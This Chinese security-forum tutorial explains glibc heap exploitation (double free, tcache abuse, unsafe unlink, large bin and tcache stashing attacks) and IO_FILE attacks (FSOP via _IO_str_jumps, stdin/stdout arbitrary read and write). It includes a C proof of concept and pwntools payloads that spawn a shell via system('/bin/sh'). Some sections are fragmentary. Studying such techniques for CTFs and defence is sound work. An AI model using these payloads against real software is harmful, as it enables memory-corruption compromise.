本文为看雪论坛精华
看雪论坛作者ID:winmt 文章
一
前言
二
基础堆利用漏洞 及 基本IO攻击
Heap
mmap
if (chunk_is_mmapped (p))
{
if (!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX
&& !DUMPED_MAIN_ARENA_CHUNK (p))
{
mp_.mmap_threshold = chunksize (p);
//假设申请的堆块大小为0x61A80,大于最小阈值,因此第一次malloc(0x61A80),使用mmap分配内存,当free这个用mmap分配的chunk时,对阈值(mp_.mmap_threshold)做了调整,将阈值设置为了chunksize,由于之前申请chunk时,size做了页对齐,所以,此时chunksize(p)为0x62000,也就是阈值将修改为0x62000。
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return;
}
vmmap
......
0x555555602000 0x555555604000 rw-p 2000 2000 /pwn
0x555555604000 0x555555625000 rw-p 21000 0 [heap]
0x7ffff79e4000 0x7ffff7bcb000 r-xp 1e7000 0 /libc-2.27.so
0x7ffff7bcb000 0x7ffff7dcb000 ---p 200000 1e7000 /libc-2.27.so
......
struct malloc_chunk
bins
new(small_size); #1
new(large_size); #2
delete(1); #free into fastbin (next chunk's PREV_INUSE is still 1)
new(large_size); #3 trigger malloc_consolidate() => move 1_addr from fastbin to small bin (modify next chunk's PREV_INUSE to 0)
delete(1); # double free (free into fastbin)
new(small_size, payload); #get 1_addr from fastbin (don't modify next chunk's PREV_INUSE)
delete(2); #unsafe unlink
(5) 若free的chunk和相邻的free chunk合并后的size大于FASTBIN_CONSOLIDATION_THRESHOLD(64k)(包括与top chunk合并),那么也会触发malloc_consolidate(),最终fast bin也均为空。
(6) 伪造fast bin时,要绕过在__int_malloc()中取出fake fast bin时,对堆块大小的检验。
泄露libc:unsorted_bin中最先进来的free chunk的fd指针和最后进来的free chunk的bk指针均指向了main_arena中的位置,在64位中,一般是<main_arena+88>或<main_arena+96>,具体受libc影响,且main_arena的位置与__malloc_hook相差0x10,而在32位的程序中,main_arena的位置与__malloc_hook相差0x18,加入到unsorted bin中的free chunk的fd和bk通常指向<main_arena+48>的位置。
libc_base = leak_addr - libc.symbols['__malloc_hook'] - 0x10 - 88
大小范围:0x20 ~ 0x3F0 。
需要注意,若现在large bin内是这样的:0x420<-(1)0x410(2)<-,再插一个0x410大小的堆块进去,会从(2)位置插进去。
size index
[0x400 , 0x440) 64
[0x440 , 0x480) 65
[0x480 , 0x4C0) 66
[0x4C0 , 0x500) 67
[0x500 , 0x540) 68
等差 0x40 …
[0xC00 , 0xC40) 96
------------------------------
[0xC40 , 0xE00) 97
------------------------------
[0xE00 , 0x1000) 98
[0x1000 , 0x1200) 99
[0x1200 , 0x1400) 100
[0x1400 , 0x1600) 101
等差 0x200 …
[0x2800 , 0x2A00) 111
------------------------------
[0x2A00 , 0x3000) 112
------------------------------
[0x3000 , 0x4000) 113
[0x4000 , 0x5000) 114
等差 0x1000 …
[0x9000 , 0xA000) 119
------------------------------
[0xA000 , 0x10000) 120
[0x10000 , 0x18000) 121
[0x18000 , 0x20000) 122
[0x20000 , 0x28000) 123
[0x28000 , 0x40000) 124
[0x40000 , 0x80000) 125
[0x80000 , …. ) 126
从small bin返回了一个chunk,则双链表中剩下的堆块会被放入对应的tcache bin中,直到上限。
在将剩余堆块从small bin放入tcache bin的过程中,除了检测了第一个堆块的fd指针,都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测。
当申请的size不大于mmap的阈值,但top chunk当前的大小又不足以分配,则会扩展top chunk,然后从新top chunk里进行分配。
这里的扩展top chunk,其实不一定会直接扩展原先的top chunk,可能会先将原先的top chunk给free掉,再在之后开辟一段新区域作为新的top chunk。
old_top = av->top;
old_size = chunksize (old_top);
old_end = (char *) (chunk_at_offset (old_top, old_size)); // old_end = old_top + old_size
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
Use-After-Free (UAF)
double free就是利用UAF漏洞的经典例子。
可采用如下方式在中间添加一个chunk便绕过检查:
释放A,单链表为A,再释放B,单链表为B->A,再释放A,单链表为A->B->A,然后申请到A,同时将其中内容改成任意地址(改的是fd指针),单链表就成了B->A->X,其中X就是任意地址,这样再依次申请B,A后,再申请一次就拿到了地址X,可以在地址X中任意读写内容。
若当前单链表是B->A,将B的fd指针通过Edit修改为任意地址X,单链表就变成了B->X,申请了B之后,再申请一次,就拿到了X地址,从而进行读写。
需要注意的是,以上的X准确说是fake chunk的chunk header地址,因为fast bin会检测chunk_header_addr + 8(即size)是否符合当前bin的大小。
在以上过程结束后,实际上是放进tcache了两次,而申请取出了三次,因此当前tcache的counts会变成0xff,整型溢出,这是一个可以利用的操作,当然若是想避免此情况,在第一次释放A之前,可以先释放一次B,将其放入此tcache bin即可。
if (__glibc_unlikely(e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
int main()
{
void *ptr[15];
for(int i=0;i<=9;i++)ptr[i]=malloc(0x20);
for(int i=0;i<7;i++)free(ptr[i]);
free(ptr[7]);
free(ptr[8]);
free(ptr[7]); //free(ptr[9]);
for(int i=0;i<7;i++)malloc(0x20);
malloc(0x20);
return 0;
}
(1) 取C8放入tcache bin,同时REMOVE_FB (fb, pp, tc_victim);会清空C8的next(fd)指针,并且将链表头设置为指向C8原先fd指针指向的堆块C7(源码分析如下)。
do
{
victim = pp;
if (victim == NULL)
break;
}
while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) != victim);
//catomic_compare_and_exchange_val_rel_acq 功能是 如果*fb等于victim,则将*fb存储为victim->fd,返回victim;
//其作用是从刚刚得到的空闲chunk链表指针中取出第一个空闲的chunk(victim),并将链表头设置为该空闲chunk的下一个chunk(victim->fd)
malloc(0x20) #1
free(1)
malloc(0x20) #2
free(1) #UAF
Edit(2, payload)
off by one
off by one经常可以与Chunk Extend and Overlapping配合使用。
unsafe unlink
uint64_t *chunk0_ptr;
int main()
{
int malloc_size = 0x80; //避免进入fast bin
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
//chunk0_ptr指向堆块的user data,而&chunk0_ptr是指针的地址,其中存放着该指针指向的堆块的fd的地址
//在0x90的chunk0的user data区伪造一个大小为0x80的fake chunk
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
chunk0_ptr[1] = 0x80; //高版本会有(chunksize(P)!=prev_size(next_chunk(P)) == False)的检查
//绕过检测((P->fd->bk!=P || P->bk->fd!=P) == False):
chunk0_ptr[2] = (uint64_t) &chunk0_ptr - 0x18; //设置fake chunk的fd
//P->fd->bk=*(*(P+0x10)+0x18)=*(&P-0x18+0x18)=P
chunk0_ptr[3] = (uint64_t) &chunk0_ptr - 0x10; //设置fake chunk的bk
//P->bk->fd=*(*(P+0x18)+0x10)=*(&P-0x10+0x10)=P
uint64_t *chunk1_hdr = chunk1_ptr - 0x10; //chunk1_hdr指向chunk1 header
chunk1_hdr[0] = malloc_size; //往上寻找pre(fake) chunk
chunk1_hdr[1] &= ~1; //prev_inuse -> 0
//高版本需要先填满对应的tcache bin
free(chunk1_ptr); //触发unlink,chunk1找到被伪造成空闲的fake chunk想与之合并,然后对fake chunk进行unlink操作
//P->fd->bk=P=P->bk,P->bk->fd=P=P->fd,即最终P=*(P+0x10)=&P-0x18
char victim_string[8] = "AAAAAAA";
chunk0_ptr[3] = (uint64_t) victim_string; //*(P+0x18)=*(&P)=P=&str
chunk0_ptr[0] = 0x42424242424242LL; //*P=*(&str)=str=BBBBBBB
fprintf(stderr, "New Value: %sn",victim_string); //BBBBBBB
return 0;
}
house of spirit
house of force
house of rabbit
malloc_consolidate()函数会将fastbin中的堆块之间或其中堆块与相邻的freed状态的堆块合并在一起,最后达到的效果就是将合并完成的堆块(或fastbin中的单个堆块)放进了smallbin/largebin中,在此过程中,并不会对fastbin中堆块的size或fd指针进行检查,这是一个可利用点。
unsorted bin attack
large bin attack
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//1
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//2
}
...
bck = fwd->bk;
...
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//3
house of storm
我们想用类似于unsorted bin into stack的手段,将某个unsorted bin的bk指向我们需要获得读写权限的地址,然后申请到该地址,但是我们又没办法在该地址周围伪造fake chunk,这时候可以配合large bin attack进行攻击。
addr-0x20: 0x4d4caf8060000000 0x0000000000000056
addr-0x10: 0x00007fe2b0e39b78 0x0000564d4caf8060
addr: ...
assert(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr == arena_for_chunk(mem2chunk(victim)));
tcache_stashing_unlink_attack
当在高版本libc下有tcache后,将会更加容易达成上述目的,因为当从small bin返回了一个所需大小的chunk后,在将剩余堆块放入tcache bin的过程中,除了检测了第一个堆块的fd指针外,都缺失了__glibc_unlikely (bck->fd != victim)的双向链表完整性检测,又calloc()会越过tcache取堆块,因此有了如下tcache_stashing_unlink_attack的攻击手段,并同时实现了libc的泄露或将任意地址中的值改为很大的数(与unsorted bin attack很类似)。
while ( tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin) ) != bin) //验证取出的Chunk是否为Bin本身(Smallbin是否已空)
{
if (tc_victim != 0) //成功获取了chunk
{
bck = tc_victim->bk; //在这里bck是fake chunk的bk
//设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin; //关键处
tcache_put (tc_victim, tc_idx); //将其放入到tcache中
}
}
IO_FILE 相关结构体
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
get_column;
set_column;
};
struct _IO_FILE {
int _flags;
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _blksize;
int _flags2;
_IO_off_t _old_offset;
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
};
struct _IO_wide_data
{
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
[...]
const struct _IO_jump_t *_wide_vtable;
};
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
IO_FILE attack 之 FSOP (libc 2.23 & 2.24)
IO_flush_all_lockp()函数将在以下三种情况下被调用:
1、libc检测到内存错误,从而执行abort函数时(在glibc-2.26删除)。
2、程序执行exit函数时。
3、程序从main函数返回时。
int _IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF) //如果输出缓冲区有数据,刷新输出缓冲区
result = EOF;
fp = fp->_chain; //遍历链表
}
[...]
}
fp->_mode = 0
fp->_IO_write_ptr > fp->_IO_write_base
> chunk_addr =
chunk_addr
{
file = {
_flags = "/bin/shx00", //对应此结构体首地址(fp)
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1,
...
_mode = 0x0, //一般不用特意设置
_unused2 = '00' <repeats 19 times>
},
vtable = heap_addr
}
heap_addr
{
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x0,
__overflow = system_addr,
...
}
(IO_validate_vtable
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)
+ (THIS)->_vtable_offset)))
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
_IO_vtable_check ();
return vtable;
}
若指针不在glibc的vtable段,会调用_IO_vtable_check()做进一步检查,以判断程序是否使用了外部合法的vtable(重构或是动态链接库中的vtable),如果不是则报错。
void attribute_hidden _IO_vtable_check (void)
{
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
PTR_DEMANGLE (flag);
if (flag == &_IO_vtable_check) //检查是否是外部重构的vtable
return;
{
Dl_info di;
struct link_map *l;
if (_dl_open_hook != NULL
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE)) //检查是否是动态链接库中的vtable
return;
}
...
__libc_fatal ("Fatal error: glibc detected an invalid stdio handlen");
}
目前来说,有四种思路:利用_IO_str_jumps中_IO_str_overflow()函数,利用_IO_str_jumps中_IO_str_finish()函数与利用_IO_wstr_jumps中对应的这两种函数,先来介绍最为方便的:利用_IO_str_jumps中_IO_str_finish()函数的手段。
_IO_str_jumps的结构体如下:
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
...
}
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
首先,仍然需要绕过之前的_IO_flush_all_lokcp函数中的输出缓冲区的检查_mode<=0以及_IO_write_ptr>_IO_write_base进入到_IO_OVERFLOW中。
我们可以将vtable的地址覆盖成_IO_str_jumps-8,这样会使得_IO_str_finish函数成为了伪造的vtable地址的_IO_OVERFLOW函数(因为_IO_str_finish偏移为_IO_str_jumps中0x10,而_IO_OVERFLOW为0x18)。这个vtable(地址为_IO_str_jumps-8)可以绕过检查,因为它在vtable的地址段中。
构造好vtable之后,需要做的就是构造IO FILE结构体其他字段,以进入将fp->_s._free_buffer当作函数指针的调用:先构造fp->_IO_buf_base为/bin/sh的地址,然后构造fp->_flags不包含_IO_USER_BUF,它的定义为#define _IO_USER_BUF 1,即fp->_flags最低位为0。
最后构造fp->_s._free_buffer为system_addr或one gadget即可getshell。
由于libc中没有_IO_str_jump的符号,因此可以通过_IO_str_jumps是vtable中的倒数第二个表,用vtable的最后地址减去0x168定位。
def get_IO_str_jumps():
IO_file_jumps_addr = libc.sym['_IO_file_jumps']
IO_str_underflow_addr = libc.sym['_IO_str_underflow']
for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
possible_IO_str_jumps_addr = ref - 0x20
if possible_IO_str_jumps_addr > IO_file_jumps_addr:
return possible_IO_str_jumps_addr
> chunk_addr =
chunk_addr
{
file = {
_flags = 0x0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1,
_IO_write_end = 0x0,
_IO_buf_base = bin_sh_addr,
...
_mode = 0x0, //一般不用特意设置
_unused2 = '00' <repeats 19 times>
},
vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0
}
~ +0xe8 : 0x0
~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer
payload = p64(0) + p64(0x60) + p64(0) + p64(libc.sym['_IO_list_all'] - 0x10) #unsorted bin attack
payload += p64(0) + p64(1) + p64(0) + p64(next(libc.search(b'/bin/sh')))
payload = payload.ljust(0xd8, b'x00') + p64(get_IO_str_jumps() - 8)
payload += p64(0) + p64(libc.sym['system'])
_IO_str_overflow()函数的源码如下:
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 调用了fp->_s._allocate_buffer函数指针
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
最终可按如下布局fake IO_FILE:
> chunk_addr =
chunk_addr
{
file = {
_flags = 0x0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = (bin_sh_addr - 100) // 2,
...
_mode = 0x0, //一般不用特意设置
_unused2 = '00' <repeats 19 times>
},
vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer
new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])
house of orange
通过unsorted bin attack将_IO_list_all内容从_IO_2_1_stderr_改为main_arena+88/96(实则指向top chunk)。
而在_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted bin的fd与bk指针,共0x10大小,再之后为small bin中的指针(每个small bin有fd与bk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x20到0x60,而smallbin[4]的fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header)。
IO_FILE attack 之 利用_fileno字段
在漏洞利用中,可以通过修改stdin的_fileno值来重定位需要读取的文件,本来为0的话,表示从标准输入中读取,修改为3则表示为从文件描述符为3的文件(已经open的文件)中读取,该利用在某些情况下可直接读取flag。
IO_FILE attack 之 任意读写
大体流程为:若_IO_buf_base为空,则调用_IO_doallocbuf去初始化输入缓冲区,然后判断输入缓冲区是否存在剩余数据,如果输入缓冲区有剩余数据(_IO_read_end > _IO_read_ptr)则将其直接拷贝至目标地址(不会对此时输入的数据进行读入)。
这里需要注意的是,若输入缓冲区中没有剩余的数据,则每次读入数据进输入缓冲区,仅和_IO_buf_base与_IO_buf_end有关。
在将数据从输入缓冲区拷贝到目标地址的过程中,需要满足所调用的读入函数的自身的限制条件,例如:使用scanf("%d",&a)读入整数,则当在输入缓冲区中遇到了字符(或scanf的一些截断符)等不符合的情况,就会停止这个拷贝的过程。
getchar()和IO_getc()的作用是刷新_IO_read_ptr,每次调用,会从输入缓冲区读一个字节数据,即将_IO_read_ptr++。
_IO_size_t _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
...
if (fp->_IO_buf_base == NULL)
{
...
//输入缓冲区为空则初始化输入缓冲区
}
while (want > 0)
{
have = fp->_IO_read_end - fp->_IO_read_ptr;
if (have > 0)
{
...
//memcpy
}
if (fp->_IO_buf_base
&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
{
if (__underflow (fp) == EOF) // 调用__underflow读入数据
...
}
...
return n - want;
}
int _IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
...
// 会检查_flags是否包含_IO_NO_READS标志,包含则直接返回。
// 标志的定义是#define _IO_NO_READS 4,因此_flags不能包含4。
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
// 如果输入缓冲区里存在数据,则直接返回
if (fp->_IO_read_ptr < fp->_IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
...
// 调用_IO_SYSREAD函数最终执行系统调用读取数据
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
...
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
(1) 设置_IO_read_end等于_IO_read_ptr(使得输入缓冲区内没有剩余数据,从而可以从用户读入数据)。
(2) 设置_flag &~ _IO_NO_READS即_flag &~ 0x4(一般不用特意设置)。
(3) 设置_fileno为0(一般不用特意设置)。
(4) 设置_IO_buf_base为write_start,_IO_buf_end为write_end(我们目标写的起始地址是write_start,写结束地址为write_end),且使得_IO_buf_end-_IO_buf_base大于要写入的数据长度。
在_IO_2_1_stdout_中,_IO_buf_base和_IO_buf_end为输出缓冲区起始位置(默认大小为0x400),在输出的过程中,会先将需要输出的数据从目标地址拷贝到输出缓冲区,再从输出缓冲区输出给用户。
缓冲区建立函数_IO_doallocbuf会建立输出缓冲区,并把基地址保存在_IO_buf_base中,结束地址保存在_IO_buf_end中。在建立里输出缓冲区后,会将基址址给_IO_write_base,若是设置的是全缓冲模式_IO_FULL_BUF,则会将结束地址给_IO_write_end,若是设置的是行缓冲模式_IO_LINE_BUF,则_IO_write_end中存的是_IO_buf_base。
最终实际调用了_IO_2_1_stdout_的vtable中的_xsputn,也就是_IO_new_file_xsputn函数,源码如下:
IO_size_t _IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
const char *s = (const char *) data;
_IO_size_t to_do = n;
int must_flush = 0;
_IO_size_t count = 0;
if (n <= 0)
return 0;
if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
{ //如果是行缓冲模式...
count = f->_IO_buf_end - f->_IO_write_ptr; //判断输出缓冲区还有多少空间
if (count >= n)
{
const char *p;
for (p = s + n; p > s; )
{
if (*--p == 'n') //最后一个换行符n为截断符,且需要刷新输出缓冲区
{
count = p - s + 1;
must_flush = 1; //标志为真:需要刷新输出缓冲区
break;
}
}
}
}
else if (f->_IO_write_end > f->_IO_write_ptr) //判断输出缓冲区还有多少空间(全缓冲模式)
count = f->_IO_write_end - f->_IO_write_ptr;
if (count > 0)
{
//如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if (count > to_do)
count = to_do;
f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
s += count;
to_do -= count;
}
if (to_do + must_flush > 0) //此处关键,见下文详细讨论
{
_IO_size_t block_size, do_write;
if (_IO_OVERFLOW (f, EOF) == EOF) //调用_IO_OVERFLOW
return to_do == 0 ? EOF : n - to_do;
block_size = f->_IO_buf_end - f->_IO_buf_base;
do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);
if (do_write)
{
count = new_do_write (f, s, do_write);
to_do -= count;
if (count < do_write)
return n - to_do;
}
if (to_do)
to_do -= _IO_default_xsputn (f, s+do_write, to_do);
}
return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)
利用方式:以全缓冲模式为例,只需将_IO_write_ptr指向write_start,_IO_write_end指向write_end即可。
这里需要注意的是,有宏定义#define _IO_LINE_BUF 0x0200,此处flag & _IO_LINE_BUF为真,则表示flag中包含了_IO_LINE_BUF标识,即开启了行缓冲模式(可用setvbuf(stdout,0,_IOLBF,1024)开启),若要构造flag包含_IO_LINE_BUF标识,则flag |= 0x200即可。
(2)任意读
(a) 首先要明确的是to_do一定是非负数,因此若must_flush为1的时候就会执行该分支中的内容,而再往上看,当需要输出的内容中有n换行符的时候就会需要刷新输出缓冲区,即将must_flush设为1,故当输出内容中有n的时候就会执行该分支的内容,如用puts函数输出就一定会执行。
(b) 若to_do大于0,也会执行该分支中的内容,因此,当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候,也会执行该if分支中的内容。
而该if分支中主要调用了_IO_OVERFLOW()来刷新输出缓冲区,而在此过程中会调用_IO_do_write()输出我们想要的数据。
相关源码:
int _IO_new_file_overflow (_IO_FILE *f, int ch)
{
// 判断标志位是否包含_IO_NO_WRITES => _flags需要不包含_IO_NO_WRITES
if (f->_flags & _IO_NO_WRITES)
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
// 判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位
// 为了不执行该if分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
...
}
// 调用_IO_do_write 输出 输出缓冲区
// 从_IO_write_base开始,输出(_IO_write_ptr - f->_IO_write_base)个字节的数据
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base);
return (unsigned char) ch;
}
libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
static _IO_size_t new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
...
_IO_size_t count;
// 为了不执行else if分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
// 调用函数输出输出缓冲区
count = _IO_SYSWRITE (fp, data, to_do);
...
return count;
}
